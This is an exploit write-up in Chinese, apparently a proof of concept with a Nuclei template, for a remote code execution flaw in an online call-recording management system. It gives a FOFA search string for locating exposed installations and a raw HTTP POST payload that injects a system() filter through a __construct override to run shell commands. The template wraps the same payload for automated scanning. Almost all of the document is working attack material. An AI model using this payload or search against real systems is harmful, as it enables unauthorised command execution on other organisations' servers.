申瓯通信设备有限公司在线录音管理系统 -RCE-index.php

# 搜索语法title="在线录音管理系统"

POST /callcenter/public/index.php/index.php?s=index/index/index HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-type: application/x-www-form-urlencodedCache-Control: no-cachePragma: no-cacheAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: closeContent-Length: 62s=id&_method=__construct&method=POST&filter[]=system

id: LYXT-index-RCEinfo:  name: 申瓯通信设备有限公司在线录音管理系统-RCE-index.php  author: WLF  severity: high  metadata:     FOFA: title="在线录音管理系统"    Hunter:   variables:  filename: "{{to_lower(rand_base(5))}}"  boundary: "{{to_lower(rand_base(20))}}"http:  - raw:      - |        POST /callcenter/public/index.php/index.php?s=index/index/index HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36        Content-type: application/x-www-form-urlencoded        Cache-Control: no-cache        Pragma: no-cache        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2        Connection: close        Content-Length: 62        s=echo Hello World!&_method=__construct&method=POST&filter[]=system    matchers:      - type: dsl        dsl:          - contains_all(body,"Hello World!")